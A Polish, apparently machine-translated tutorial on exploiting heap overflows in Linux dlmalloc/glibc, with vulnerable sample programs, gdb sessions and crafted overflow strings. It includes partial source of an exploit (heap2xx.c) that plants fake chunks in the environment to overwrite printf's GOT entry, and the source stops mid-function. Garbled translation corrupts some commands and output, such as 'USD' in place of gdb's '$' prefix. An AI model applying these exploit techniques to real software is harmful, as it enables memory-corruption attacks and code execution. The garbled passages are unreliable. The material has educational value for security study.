Wprowadzenie do przepełnień sterty

Skupimy się na przepełnieniu sterty na platformie Linux, która używa implementacji malloc oryginalnie napisanej przez Douga Lee, stąd nazwanej dlmalloc. Przedstawimy również koncepcje, które pomogą Ci w obliczu innych implementacji malloc(). Rzeczywiście, pisanie przepełnienia sterty jest rytuałem przejścia, który uczy, jak myśleć poza pobieraniem EIP z zapisanego wskaźnika stosu. dlmalloc to tylko jedna z wielu bibliotek przechowujących ważne metadane przeplatane danymi użytkownika. Zrozumienie, jak wykorzystać błędy malloc jest kluczem do znalezienia innowacyjnych sposobów wykorzystywania błędów, które nie pasują do żadnej konkretnej kategorii.

Co to jest sterta?

Gdy program jest uruchomiony, każdy wątek ma stos, na którym przechowywane są zmienne lokalne. Ale w przypadku zmiennych globalnych lub zmiennych zbyt dużych, aby zmieścić się na stosie, program potrzebuje innej sekcji pamięci zapisywalnej dostępnej jako przestrzeń do przechowywania. W rzeczywistości może nie wiedzieć w czasie kompilacji, ile pamięci będzie potrzebować, więc te segmenty są często przydzielane w czasie wykonywania przy użyciu specjalnego wywołania systemowego. Zazwyczaj program linuksowy ma segment .bss (zmienne globalne, które są niezainicjowane) i segment .data (zmienne globalne, które są inicjowane) wraz z innymi segmentami używanymi przez malloc() i alokowanymi za pomocą wywołań systemowych brk() lub mmap(). Możesz zobaczyć te segmenty w sekcjach informacji o konserwacji komendy gdb. Każdy segment, który jest zapisywalny, może być określany jako sterta, chociaż często tylko segmenty specjalnie przydzielone do użycia przez malloc() są uważane za prawdziwe sterty. Jako haker powinieneś zignorować terminologię i skupić się na tym, że każda zapisywalna strona pamięci daje ci szansę przejęcia kontroli. Poniżej znajduje się gdb przed uruchomieniem programu (podstawowej sterty):

(gdb) maintenance info sections

Exec file:

`/home/dave/BOOK/basicheap', file type elf32-i386.

0x08049434->0x08049440 at 0x00000434: .data ALLOC LOAD DATA HAS_CONTENTS

0x08049440->0x08049444 at 0x00000440: .eh_frame ALLOC LOAD DATA HAS_CONTENTS

0x08049444->0x0804950c at 0x00000444: .dynamic ALLOC LOAD DATA HAS_CONTENTS

0x0804950c->0x08049514 at 0x0000050c: .ctors ALLOC LOAD DATA HAS_CONTENTS

0x08049514->0x0804951c at 0x00000514: .dtors ALLOC LOAD DATA HAS_CONTENTS

0x0804951c->0x08049520 at 0x0000051c: .jcr ALLOC LOAD DATA HAS_CONTENTS

0x08049520->0x08049540 at 0x00000520: .got ALLOC LOAD DATA HAS_CONTENTS

0x08049540->0x08049544 at 0x00000540: .bss ALLOC

Oto kilka linijek ze śladu biegu:

brk(0) = 0x80495a4

brk(0x804a5a4) = 0x804a5a4

brk(0x804b000) = 0x804b000

Poniżej znajduje się wynik programu, pokazujący adresy dwóch zamalowanych przestrzeni:

buf=0x80495b0 buf2=0x80499b8

Tutaj ponownie znajdują się sekcje informacji o konserwacji, pokazujące segmenty używane podczas działania programu. Zwróć uwagę na segment stosu (ostatni) i segmenty zawierające same wskaźniki (load2):

0x08048000->0x08048000 at 0x00001000: load1 ALLOC LOAD READONLY CODE HAS_CONTENTS

0x08049000->0x0804a000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS

...

0xbfffe000->0xc0000000 at 0x0000f000: load11 ALLOC LOAD CODE HAS_CONTENTS

(gdb) print/x $esp

$1 = 0xbffff190

Jak działa sterta?

Używanie brk() lub mmap() za każdym razem, gdy program potrzebuje więcej pamięci, jest powolne i nieporęczne. Zamiast tego, każda implementacja libc udostępnia malloc(), realloc() i free() dla programistów, których mogą używać, gdy potrzebują więcej pamięci lub gdy kończą używanie określonego bloku pamięci. malloc() dzieli duży blok pamięci przydzielony przez brk() na porcje i daje użytkownikowi jedną z tych porcji po wysłaniu żądania (na przykład, jeśli użytkownik prosi o 1000 bajtów), potencjalnie używając dużej porcji i dzielenia w tym celu na dwie części. Podobnie, gdy wywoływana jest funkcja free(), powinna zdecydować, czy może wziąć nowo uwolnioną porcję i potencjalnie porcje przed i po niej, i zebrać je w jedną dużą porcję. Ten proces zmniejsza fragmentację (wiele mało używanych fragmentów przeplatanych wieloma małymi wolnymi fragmentami) i uniemożliwia programowi zbyt częste używanie brk(), jeśli w ogóle. Aby była wydajna, każda implementacja malloc() przechowuje wiele metadanych dotyczących lokalizacji porcji, rozmiaru porcji i być może niektórych specjalnych obszarów dla małych porcji. Organizuje również te informacje — w dlmalloc, są one zorganizowane w segmenty, a w wielu innych implementacjach malloc są zorganizowane w zrównoważoną strukturę drzewa. Nie martw się, jeśli nie wiesz dokładnie, jak działa zrównoważona struktura drzewa — zawsze możesz to sprawdzić, jeśli zajdzie taka potrzeba, a prawdopodobnie nie. Informacje te są przechowywane w dwóch miejscach: w zmiennych globalnych używanych przez samą implementację malloc() oraz w bloku pamięci przed i/lub za przydzieloną przestrzenią użytkownika. Tak więc, podobnie jak w przypadku przepełnienia stosu, gdzie wskaźnik ramki i wskaźnik zapisanej instrukcji były przechowywane bezpośrednio za buforem, który można przepełnić, sterta zawiera ważne informacje o stanie pamięci przechowywanej bezpośrednio po dowolnym buforze przydzielonym przez użytkownika.

Znajdowanie przepełnień sterty

Termin przepełnienie sterty może być używany dla wielu prymitywów błędów. Warto, jak zawsze, postawić się w sytuacji programisty i odkryć, jakie błędy on lub ona popełnił, nawet jeśli nie masz kodu źródłowego aplikacji. Poniższa lista nie jest wyczerpująca, ale pokazuje kilka (uproszczonych) przykładów z prawdziwego świata:

* samba (programator pozwala nam skopiować duży blok pamięci gdziekolwiek chcemy):

memcpy(array[user_supplied_int], user_supplied_buffer, user_supplied_int2);

* Microsoft IIS:

```
buf=malloc(user_supplied_int+1);

memcpy(buf,user_buf,user_supplied_int);
```

* IIS wyłączone przez kilka:

```
buf=malloc(strlen(user_buf+5));

strcpy(buf,user_buf);
```

* Logowanie do systemu Solaris:

```
buf=(char **)malloc(BUF_SIZE);

while (user_buf[i]!=0) {

buf[i]=malloc(strlen(user_buf[i])+1);

i++;

}
```

* Solaris Xsun:

```
buf=malloc(1024);

strcpy(buf,user_supplied);
```

Oto częsta kombinacja przepełnienia sterty przepełnienia liczby całkowitej — spowoduje to przydzielenie 0 i skopiowanie do niej dużej liczby (pomyśl xdr_array):

```
buf=malloc(sizeof(something)*user_controlled_int);

for (i=0; i<user_controlled_int; i++) {

if (user_buf[i]==0)

break;

copyinto(buf,user_buf);

}
```

W tym sensie przepełnienia sterty występują za każdym razem, gdy można uszkodzić pamięć, której nie ma na stosie. Ponieważ istnieje tak wiele rodzajów potencjalnego uszkodzenia, prawie niemożliwe jest grepowanie lub ochrona przed nimi poprzez modyfikację kompilatora. Biologiczny porządek przepełnienia sterty obejmuje również podwójne błędy free(), które nie są omawiane w tej części.

Podstawowe przepełnienia sterty

Podstawowa teoria większości przepełnień sterty jest następująca: Podobnie jak stos programu, sterta programu zawiera zarówno informacje o danych, jak i informacje o konserwacji, które kontrolują sposób, w jaki program widzi te dane. Sztuczka polega na manipulowaniu implementacją malloc() lub free() tak, aby robiła to, co chcesz - pozwala na zapisanie jednego lub dwóch słów pamięci w miejscu, które możesz kontrolować. Weźmy przykładowy program i przeanalizujmy go z perspektywy napastnika:

```
/*notvuln.c*/

int

main(int argc, char** argv) {

char *buf;

buf=(char*)malloc(1024);

printf("buf=%p",buf);

strcpy(buf,argv[1]);

free(buf);

}
```

Oto wynik ltrace z ataku na ten program:

```
[dave@localhost BOOK]$ ltrace ./notvuln `perl -e 'print "A" x 5000'`

__libc_start_main(0x080483c4, 2, 0xbfffe694, 0x0804829c, 0x08048444

<unfinished

...>

malloc(1024) = 0x08049590

printf("buf=%p") = 13

strcpy(0x08049590, "AAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x08049590

free(0x08049590) = < void >

buf=0x8049590+++ exited (status 0) +++
```

Jak widać program się nie zawiesił. Dzieje się tak, ponieważ ciąg użytkownika nie nadpisał struktury, której wymagało wywołanie free(), mimo że ciąg znaków przepełnił przydzielony bufor o całkiem sporo. Teraz spójrzmy na jeden, który jest podatny na ataki:

```
/*basicheap.c*/

int

main(int argc, char** argv) {

char *buf;

char *buf2;

buf=(char*)malloc(1024);

buf2=(char*)malloc(1024);

printf("buf=%p buf2=%p\n",buf,buf2);

strcpy(buf,argv[1]);

free(buf2);
```

}

Różnica polega na tym, że bufor jest przydzielany po buforze, który może zostać przepełniony. W pamięci znajdują się dwa bufory, jeden po drugim, a drugi bufor jest uszkodzony przez przepełnienie pierwszego bufora. Na początku brzmi to trochę dezorientująco, ale jeśli się nad tym zastanowisz, ma to sens. Struktura meta-danych tego bufora jest uszkodzona podczas przepełnienia, a po jej zwolnieniu funkcja zbierania danych przez bibliotekę malloc uzyskuje dostęp do nieprawidłowej pamięci:

[dave@localhost BOOK]$ ltrace ./basicheap `perl -e 'print "A" x 5000'`

__libc_start_main(0x080483c4, 2, 0xbfffe694, 0x0804829c, 0x0804845c

<unfinished

...>

malloc(1024) = 0x080495b0

malloc(1024) = 0x080499b8

printf("buf=%p buf2=%p\n", 134518192buf=0x80495b0 buf2=0x80499b8

) = 29

strcpy(0x080495b0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x080495b0

free(0x080499b8) = < void >

--- SIGSEGV (Segmentation fault) ---

+++ killed by SIGSEGV +++

UWAGA: Nie zapomnij użyć ulimit -c unlimited, jeśli nie otrzymujesz zrzutów pamięci.

UWAGA : Kiedy już znajdziesz sposób na wywołanie przepełnienia sterty, powinieneś pomyśleć o podatnym programie jako o specjalnym interfejsie API do wywoływania malloc(), free() i realloc(). Aby napisać udany exploit, należy manipulować kolejnością wywołań alokacji, rozmiarami i zawartością danych umieszczonych w przechowywanych buforach.

W tym przykładzie znamy już długość przepełnionego bufora oraz ogólny układ pamięci programu. Jednak w wielu przypadkach informacje te nie są łatwo dostępne. W przypadku aplikacji o zamkniętym kodzie źródłowym z przepełnieniem sterty lub aplikacji typu open source z niezwykle złożonym układem pamięci, często łatwiej jest zbadać sposób, w jaki program reaguje na różne długości ataku, niż przeprowadzać inżynierię wsteczną całego programu w celu znajdź zarówno punkt, w którym program przepełnia bufor sterty, jak i kiedy wywołuje free() lub malloc(), aby wywołać awarię. Jednak w wielu przypadkach opracowanie naprawdę niezawodnego exploita będzie wymagało tego rodzaju wysiłku inżynierii wstecznej. Po wykorzystaniu tego prostego przypadku przejdziemy do bardziej złożonej diagnozy i prób eksploatacji.

ZNAJDOWANIE DŁUGOŚCI BUFORA

(gdb) x/xw buf-4 pokaże długość buf. Nawet jeśli program nie jest skompilowany z symbolami, często możesz zobaczyć w pamięci, gdzie zaczyna się twój bufor (początek A) i po prostu spójrz na słowo przed nim, aby dowiedzieć się, jak długi jest twój bufor.

(gdb) x/xw buf-4

0x80495ac: 0x00000409

(gdb) printf “%d\n”,0x409

1033

Ta liczba to w rzeczywistości 1032, czyli 1024 plus 8 bajtów używanych do przechowywania nagłówka informacji o porcji. Bit najniższego rzędu jest używany do wskazania, czy istnieje porcja przed tą porcją. Jeśli jest ustawiony (tak jak w tym przykładzie), nie ma poprzedniego rozmiaru porcji przechowywanego w nagłówku tej porcji. Jeśli jest jasne (zero), możesz znaleźć poprzedni fragment, używając buf-8 jako rozmiaru poprzedniego fragmentu. Drugi najniższy bit jest używany jako flaga informująca, czy porcja została przydzielona za pomocą mmap().

Jest to klucz do tego, w jaki sposób będziemy manipulować podprogramami malloc(), aby oszukać je w celu nadpisania pamięci. Wyczyścimy poprzedni w użyciu bit w nagłówku porcji nadpisywanej porcji, a następnie ustawimy długość „poprzedniego porcji” na wartość ujemną. Umożliwi nam to zdefiniowanie własnego fragmentu w naszym buforze. Implementacje malloc, w tym dlmalloc Linuksa, przechowują dodatkowe informacjew wolnym kawałku. Ponieważ wolna porcja nie zawiera danych użytkownika, może służyć do przechowywania informacji o innych porcjach. Pierwsze 4 bajty przestrzeni na dane użytkownika w wolnym kawałku to wskaźnik do przodu, a kolejne 4 to wskaźnik do tyłu. Są to wskaźniki, których użyjemy do nadpisania dowolnych danych. To polecenie uruchomi nasz program, przepełniając buf bufora sterty i zmieniając nagłówek porcji buf2 tak, aby miał rozmiar 0xfffffff0 i poprzedni rozmiar 0xffffffff.

UWAGA : Nie zapomnij tutaj o małej endianowości IA32.

W niektórych wersjach Red Hat Linux, perl przekształci niektóre znaki na ich odpowiedniki Unicode, gdy zostaną wydrukowane. Użyjemy Pythona, aby uniknąć takiej szansy. Możesz także ustawić argumenty w gdb po poleceniu run:

(gdb) run `python -c ‘print

“A”*1024+”\xff\xff\xff\xff”+”\xf0\xff\xff\xff”‘`

Ustaw punkt przerwania na _int_free() w instrukcji, która oblicza następną porcję, a będziesz w stanie śledzić zachowanie free(). (Aby zlokalizować tę instrukcję, możesz ustawić rozmiar porcji na 0x01020304 i zobaczyć, gdzie int_free() ulega awarii.) Jedna instrukcja powyżej tej lokalizacji będzie obliczeniem:

0x42073fdd <_int_free+109>: lea (%edi,%esi,1),%ecx

Po osiągnięciu punktu przerwania program wypisze buf=0x80495b0 buf2=0x80499b8,

a następnie przerwij:

(gdb) print/x $edi

10 USD = 0xfffffff0

(gdb) print/x $esi

11 USD = 0x80499b0

Jak widać, bieżąca porcja (dla buf) jest przechowywana jako ESI, a rozmiar jest przechowywany jako EDI. Free() Glibc zostało zmodyfikowane z oryginalnego dlmalloc(). Jeśli śledzisz swoją konkretną implementację, powinieneś zauważyć, że free() jest w większości przypadków opakowaniem dla

intfree. intfree przyjmuje „arenę” i adres pamięci, który uwalniamy. Przyjrzyjmy się dwóm instrukcjom asemblera, które odpowiadają procedurze free() wyszukującej poprzedni fragment:

0x42073ff8 <_int_free+136>: mov 0xfffffff8(%edx),%eax

0x42073ffb <_int_free+139>: pod%eax,%esi

W pierwszej instrukcji (mov 0x8(%esi), %edx), %edx to 0x80499b8, adres buf2, który zwalniamy. Osiem bajtów przed to rozmiar poprzedniego bufora, który jest teraz przechowywany w %eax. Oczywiście nadpisaliśmy to, które kiedyś było zerem, aby teraz mieć 0xffffffff (-1). W drugiej instrukcji (add %eax, %edi), %esi przechowuje adres nagłówka bieżącego kawałka. Odejmujemy rozmiar poprzedniego bufora od adresu bieżącego fragmentu, aby uzyskać adres nagłówka poprzedniego fragmentu. Oczywiście nie działa to, gdy nadpisujemy rozmiar przez -1. Poniższe instrukcje (makro unlink()) dają nam kontrolę:

0x42073ffd <_int_free+141>: mov 0x8(%esi),%edx

0x42074000 <_int_free+144>: add %eax,%edi

0x42074002 <_int_free+146>: mov 0xc(%esi),%eax; UNLINK

0x42074005 <_int_free+149>: mov %eax,0xc(%edx); UNLINK

0x42074008 <_int_free+152>: mov %edx,0x8(%eax); UNLINK

%esi został zmodyfikowany tak, aby wskazywał znaną lokalizację w naszym buforze użytkownika. W trakcie tych następnych instrukcji będziemy mogli kontrolować %edx i %eax, gdy są one używane jako argumenty zapisu do pamięci. Dzieje się tak, ponieważ wywołanie free(), z powodu naszej manipulacji nagłówkiem chunk buf2, uważa, że obszar wewnątrz buf2 – który teraz kontrolujemy – jest nagłówkiem kawałka dla nieużywanego bloku pamięci. Więc teraz mamy klucze do królestwa. Następujące polecenie uruchomienia (używając Pythona do ustawienia pierwszego argumentu) najpierw wypełni buf, a następnie nadpisze nagłówek porcji buf2 poprzednim rozmiarem -4. Następnie wstawiamy 4 bajty dopełnienia i mamy ABCD jako %edx i EFGH jako %eax:

(gdb) r `python -c ‘print

“A”*(1024)+”\xfc\xff\xff\xff”+”\xf0\xff\xff\xff”+”AAAAABCDEFGH” ‘`

Program received signal SIGSEGV, Segmentation fault.

0x42074005 in _int_free () from /lib/i686/libc.so.6

7: /x $edx = 0x44434241

6: /x $ecx = 0x80499a0

5: /x $ebx = 0x4212a2d0

4: /x $eax = 0x48474645

3: /x $esi = 0x80499b4

2: /x $edi = 0xfffffffec

(gdb) x/4i $pc

0x42074005 < _int_free+149 >: mov %eax,0xc(%edx)

0x42074008 < _int_free+152 >: mov %edx,0x8(%eax)

Teraz %eax zostanie zapisany w %edx+12, a %edx w %eax+8. Jeśli program nie ma obsługi sygnału dla SIGSEGV, chcesz się upewnić, że zarówno %eax, jak i %edx są poprawnymi adresami do zapisu.

(gdb) print "%8x", &__exit_funcs-12

$40 = (< data variable, no debug info > *) 0x421264fc

Oczywiście, teraz, gdy zdefiniowaliśmy fałszywy fragment, musimy również zdefiniować inny nagłówek fałszywego fragmentu dla „poprzedniego" fragmentu, w przeciwnym razie intfree zawiesi się. Ustawiając rozmiar buf2 na 0xfffffff0 (-16), umieściliśmy ten fałszywy fragment w obszarze buf, który kontrolujemy.

Łącząc to wszystko razem mamy:

„A"*(1012)+"\xff"*4+"A"*8+"\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"+"\xff\xf

f\xff\xff"*2+intel_order(word1)+intel_order(word2)

word1+12 zostanie nadpisane przez słowo2 a słowo2+8 przez słowo1. (intel_order() przyjmuje dowolną liczbę całkowitą i sprawia, że jest to łańcuch little-endian do użycia w przepełnieniach, takich jak ten.)

Na koniec po prostu wybieramy, jakie słowo chcemy nadpisać i czym chcemy je nadpisać. W takim przypadku basicheap wywoła exit() bezpośrednio po zwolnieniu buf2. Funkcje wyjścia to destruktory, których możemy używać jako wskaźników do funkcji:

(gdb) print/x __exit_funcs

43 USD = 0x4212aa40

Możemy po prostu użyć tego jako słowo1 i adresu na stosie jako słowo2. Ponowne uruchomienie przepełnienia z tymi, ponieważ nasz argument prowadzi do:

Program received signal SIGSEGV, Segmentation fault.

0xbffffff0f in ?? ()

Jak widać, przekierowaliśmy wykonanie na stos. Gdyby to było lokalne przepełnienie sterty i zakładając, że stos jest wykonywalny, gra byłaby skończona.

Pośrednie przepełnienia sterty

W tej sekcji omówiono wykorzystanie pozornie prostej odmiany przepełnienia sterty opisanej wcześniej. Zamiast free() przepełniony program wywoła malloc(). To sprawia, że kod obiera zupełnie inną ścieżkę i reaguje na przepełnienie w znacznie bardziej złożony sposób. Przykładowy exploit wykorzystujący tę lukę jest przedstawiony tutaj, a samodzielne przejście przez ten przykład może okazać się pouczające. Ćwiczenie uczy, jak traktować każdą lukę w zabezpieczeniach z perspektywy kogoś, kto może kontrolować tylko kilka rzeczy i musi je wykorzystać, badając wszystkie potencjalne ścieżki kodu, które wypływają z uszkodzenia pamięci. Kod tej struktury będzie można wykorzystać w ten sam sposób, mimo że malloc() jest wywoływana zamiast free(). Te przepełnienia wydają się być nieco trudniejsze, więc nie zniechęcaj się, jeśli spędzisz w gdb więcej czasu na tej odmianie niż na prostych błędach free() unlink().

/*heap2.c – a vulnerable program that calls malloc() */

```
int

main(int argc, char **argv)

{

char * buf,*buf2,*buf3;

buf=(char*)malloc(1024);

buf2=(char*)malloc(1024);

buf3=(char*)malloc(1024);

free(buf2);

strcpy(buf,argv[1]);

buf2=(char*)malloc(1024); //this was a free() in the previous example

printf("Done."); //we will use this to take control in our exploit

}
```

UWAGA: Podczas fuzzowania programu ważne jest, aby używać zarówno 0x41 jak i 0x50, ponieważ 0x41 nie wyzwala pewnych przepełnień sterty (ustawienie flagi poprzedniej lub flagi mmap na 1 w nagłówku porcji nie jest dobre i może uniemożliwić program przed awarią, co sprawia, że fuzzing nie jest tak opłacalny).

Aby obejrzeć awarię programu, załaduj stertę do gdb i użyj następującego polecenia:

```
(gdb) r `python -c 'drukuj

„\x50"*1028+"\xff"*4+"\xa0\xff\xff\xbf\xa0\xff\xff\xbf"'`
```

UWAGA: W Mandrake i kilku innych systemach znalezienie funkcji __exit_funcs może być trochę trudne. Spróbuj przerwać w <__cxa_atexit+45>: mov %eax,0x4(%edx) i wypisz %edx.

Nadużywanie malloc może być dość trudne - w końcu wprowadzisz pętlę podobną do poniższej w _int_malloc(). Twoja implementacja może się nieznacznie różnić, ponieważ zmieniają się wersje glibc. W poniższym fragmencie kodu bin jest adresem fragmentu, który zastąpiłeś:

```
bin = bin_at(av, idx);

for (victim = last(bin); victim != bin; victim = victim->bk) {

size = chunksize(victim);

if ((unsigned long)(size) >= (unsigned long)(nb)) {

remainder_size = size - nb;

unlink(victim, bck, fwd);

/* Exhaust */

if (remainder_size < MINSIZE) {

set_inuse_bit_at_offset(victim, size);
```

```
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
/* Split */
else {
remainder = chunk_at_offset(victim, nb);
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd =
remainder;
remainder->bk = remainder->fd = unsorted_chunks(av);
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
}
}
```

Ta pętla ma wiele przydatnych zapisów w pamięci; jednak, jeśli jesteś ograniczony do niezerowych znaków, trudno będzie wyjść z pętli. Dzieje się tak, ponieważ dwa główne przypadki wyjścia występują tam, gdzie falsechunk->rozmiar minus rozmiar jest mniejszy niż 16 i gdy następny wskaźnik fałszywego fragmentu jest taki sam jak żądany blok. Odgadnięcie adresu żądanego bloku może być niemożliwe lub zbyt trudne (długie sesje typu brute-forsing), bez błędu wycieku informacji. Jak powiedział kiedyś Halvar Flake: „Dobrzy hakerzy szukają błędów związanych z wyciekiem informacji, ponieważ znacznie ułatwiają one wykorzystywanie rzeczy”. Kod wygląda nieco mylący, ale można go łatwo wykorzystać, ustawiając fałszywy fragment na ten sam rozmiar lub ustawiając wskaźnik wsteczny fałszywego fragmentu na oryginalny pojemnik. Możesz pobrać oryginalny pojemnik z tylnego wskaźnika, który przepełniliśmy (co jest ładnie wydrukowane przez heap2.c), coś, co prawdopodobnie wyczerpiesz podczas zdalnego ataku. W przypadku lokalnego exploita będzie to dość statyczne, ale nadal może nie być najłatwiejszym sposobem wykorzystania tego. Poniższy exploit ma dwie cechy, które mogą łatwo pojawić się tylko w przypadku lokalnego exploita:

* Wykorzystuje precyzyjną dokładność, aby nadpisać wskaźniki fragmentu free() w fałszywy fragment na stosie w środowisku, który użytkownik może dokładnie kontrolować i lokalizować.

* Środowisko użytkownika może zawierać zera. Jest to ważne, ponieważ exploit używa rozmiaru równego żądanemu rozmiarowi, czyli 1024 (plus 8 dla nagłówka porcji). Wymaga to umieszczenia w nagłówku bajtów null.

Poniższy program właśnie to robi. Wskaźniki w nagłówku porcji są nadpisywane przed wykonaniem wywołania malloc(). Następnie malloc() jest skłaniany do nadpisania wskaźnika do funkcji (wpis Global Offset Table dla printf()). Następnie printf() przekierowuje do naszego kodu powłoki, obecnie tylko 0xcc, czyli int3, przerwania debugowania. Ważne jest, aby wyrównać nasze bufory, aby nie znajdowały się pod adresami z ustawionymi niższymi bitami (to znaczy, że nie chcemy, aby malloc() myślał, że nasze bufory są mmapped() lub mają ustawiony poprzedni bit).

heap2xx.c – exploit dla heap2.c

Istnieją dwie możliwości tego exploita:

1. glibc 2.2.5, która pozwala na zapisanie jednego słowa do dowolnego innego słowa.

2. glibc 2.3.2, który pozwala na zapisanie adresu bieżącego kawałka nagłówek do dowolnego wybranego miejsca w pamięci. To sprawia, że eksploatacja jest znacznie trudniejsza, ale nadal możliwa. Należy zauważyć, że exploit w żadnym przypadku nie przerzuci użytkownika do powłoki. Zwykle podczas udanej eksploatacji spowoduje seg-fault w przypadku nieprawidłowej instrukcji. Oczywiście, aby uzyskać powłokę, wystarczy skopiować shellcode we właściwe miejsce. Poniższa lista dotyczy drugiej opcji glibc i została dołączona w celu wyjaśnienia niektórych różnic między nimi. Może się okazać, że robienie podobnych notatek podczas przechodzenia przez ten problem może być korzystne.

* Po nadpisaniu znacznika malloc chunk w wolnym buf2 oznaczamy pole fd i bk (kończy się jako eax), wskazując zarówno wskaźnik do przodu, jak i do tyłu na env na kontrolowaną przez nas granicę wolnego fragmentu. Upewnij się, że mamy > 1032 + 4 porcje env offset, aby przetrwać lub $0x1,0x4(%eax,%esi,1) gdzie esi kończy się na tym samym adresie co nasz adres eax i eax jest ustawiony na 1032.

* Przy następnym wywołaniu malloc do 1024-bajtowego obszaru pamięci, przejdzie on przez nasz obszar bin o tym samym rozmiarze i przetworzy nasz uszkodzony wolny fragment podwójnej listy linków, tagz0r.

* Wyrównujemy, aby wskazać bk i fd ptr na pole prev_size (0xfffffffc) naszego fałszywego fragmentu env. Ma to na celu upewnienie się, że dowolny wskaźnik użyty do wprowadzenia makra działa poprawnie.

* Wychodzimy z pętli, sprawiając, że sprawdzenie S < chunksize(FD) kończy się niepowodzeniem, ustawienie pola rozmiaru w naszym fragmencie env na 1032.

* Wewnątrz pętli, %ecx jest zapisywany w pamięci w następujący sposób: mov %ecx,0x8(%eax).

Możemy potwierdzić to zachowanie w teście za pomocą wpisu Global Offset Table (GOT) printf (w tym przypadku w 0x080496d4). W przebiegu, w którym ustawiliśmy pole bk w naszym fałszywym kawałku na 0x080496d4 - 8, widzimy następujące wyniki:

(gdb) x/x 0x080496d4

0x80496d4 <_GLOBAL_OFFSET_TABLE_+20>: 0x4015567c

Jeśli spojrzymy na ecx na nieprawidłowej awarii eax, zobaczymy:

(gdb) i reax ecx

Eax 0x41424344 1094861636

ecx 0x4015567c 1075140220

(bdb)

Teraz już zmieniamy przepływ wykonywania, sprawiając, że program heap2.c przeskakuje do main_arena (gdzie wskazuje ecx), gdy tylko trafi do printf. Teraz zawieszamy się przy wykonywaniu naszego kawałka:

(gdb) x/i$pc

0x40155684 <main_arena+100>: cmp %bl,0x96cc0804(%ebx)

(gdb) disas $ecx

Dump of assembler code for function main_arena:

0x40155620 <main_arena>: add %al,(%eax)

... *snip* ...

0x40155684 <main_arena+100>: cmp %bl,0x96cc0804(%ebx)

*/

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

#include < unistd.h >

#define VULN "./heap2"

#define XLEN 1040 /* 1024 + 16 */

#define ENVPTRZ 512 /* enough to hold our big layout */

/* mov %ecx,0x8(PRINTF_GOT) */

#define PRINTF_GOT 0x08049648 - 8

/* 13 and 21 work for Mandrake 9, glibc 2.2.5 - you may want to modify

these until you point directly at 0x408 (or 0xfffffffc, for certain

glibc's). Also, your address must be "clean" meaning not have lower bits

set. 0xf0 is clean, 0xf1 is not.

*/

#define CHUNK_ENV_ALLIGN 17

#define CHUNK_ENV_OFFSET 1056-1024

/* Handy environment loader */

unsigned int

```
ptoa(char **envp, char *string, unsigned int total_size)
{
char *p;
unsigned int cnt;
unsigned int size;
unsigned int i;
p = string;
cnt = size = i = 0;
for (cnt = 0; size < total_size; cnt ++)
{
envp[cnt] = (char *) malloc(strlen(p) + 1);
envp[cnt] = strdup(p);
#ifdef DEBUG
fprintf(stderr, "[*] strlen: %d\n", strlen(p) + 1);
for (i = 0; i < strlen(p) + 1; i ++) fprintf(stderr, "[*] %d:
0x%.02x\n", i, p[i]);
#endif
size += strlen(p) + 1;
p += strlen(p) + 1;
}
return cnt;
}
int
main(int argc, char **argv)
{
unsigned char *x;
char *ownenv[ENVPTRZ];
unsigned int xlen;
unsigned int i;
unsigned char chunk[2048 + 1]; /* 2 times 1024 to have enough
controlled mem to survive the orl */
```

```
unsigned char *exe[3];
unsigned int env_size;
unsigned long retloc;
unsigned long retval;
unsigned int chunk_env_offset;
unsigned int chunk_env_align;
xlen = XLEN + (1024 - (XLEN - 1024));
chunk_env_offset = CHUNK_ENV_OFFSET;
chunk_env_align = CHUNK_ENV_ALLIGN;
exe[0] = VULN;
exe[1] = x = malloc(xlen + 1);
exe[2] = NULL;
if (!x) exit(-1);
fprintf(stderr, "\n[*] Options: [ <environment chunk alignment> ] [
<enviroment chunk offset> ]\n\n");
if (argv[1] && (argc == 2 || argc == 3)) chunk_env_align =
atoi(argv[1]);
if (argv[2] && argc == 3) chunk_env_offset = atoi(argv[2]);
fprintf(stderr, "[*] using align %d and offset %d\n", chunk_env_align,
chunk_env_offset);
retloc = PRINTF_GOT; /* printf GOT - 0x8 ... this is where ecx gets
written to, ecx is a chunk ptr */
/*where we want to jump do, if glibc 2.2 – just anywhere on the stack
is good for a demonstration */
retval=0xbffffd40;
fprintf(stderr, "[*] Using retloc: %p\n", retloc);
memset(chunk, 0x00, sizeof(chunk));
for (i = 0; i < chunk_env_align; i ++) chunk[i] = 'X';
for (i = chunk_env_align; i <= sizeof(chunk) - (16 + 1); i += (16))
{
*(long *)&chunk[i] = 0xfffffffc;
```

```
*(long *)&chunk[i + 4] = (unsigned long)1032; /* S == chunksize(FD)
... breaking loop (size == 1024 + 8) */
/*retval is not used for 2.3 exploitation....*/
*(long *)&chunk[i + 8] = retval;
*(long *)&chunk[i + 12] = retloc; /* printf GOT - 8..mov
%ecx,0x8(%eax) */
}
#ifdef DEBUG
for (i = 0; i < sizeof(chunk); i++) fprintf (stderr, "[*] %d:
0x%.02x\n", i, chunk[i]);
#endif
memset(x, 0xcc, xlen);
*(long *)&x[XLEN - 16] = 0xfffffffc;
*(long *)&x[XLEN - 12] = 0xfffffff0;
/* we point both fd and bk to our fake chunk tag ... so whichever gets
used is ok with us */
/*we subtract 1024 since our buffer is 1024 long and we need to have
space for writes after it...
* you'll see when you trace through this. */
*(long *)&x[XLEN - 8] = ((0xc0000000 - 4) - strlen(exe[0]) -
chunk_env_offset-1024);
*(long *)&x[XLEN - 4] = ((0xc0000000 - 4) - strlen(exe[0]) -
chunk_env_offset-1024);
printf("Our fake chunk (0xfffffffc) needs to be at %p\n",((0xc0000000
- 4) - strlen(exe[0]) - chunk_env_offset)-1024);
/*you could memcpy shellcode into x somewhere, and you would be able
to jmp directly into it – otherwise it will just execute whatever is on
the stack – most likely nothing good. (for glibc 2.2) */
/* clear our enviroment array */
for (i = 0; i < ENVPTRZ; i++) ownenv[i] = NULL;
i = ptoa(ownenv, chunk, sizeof(chunk));
```

```
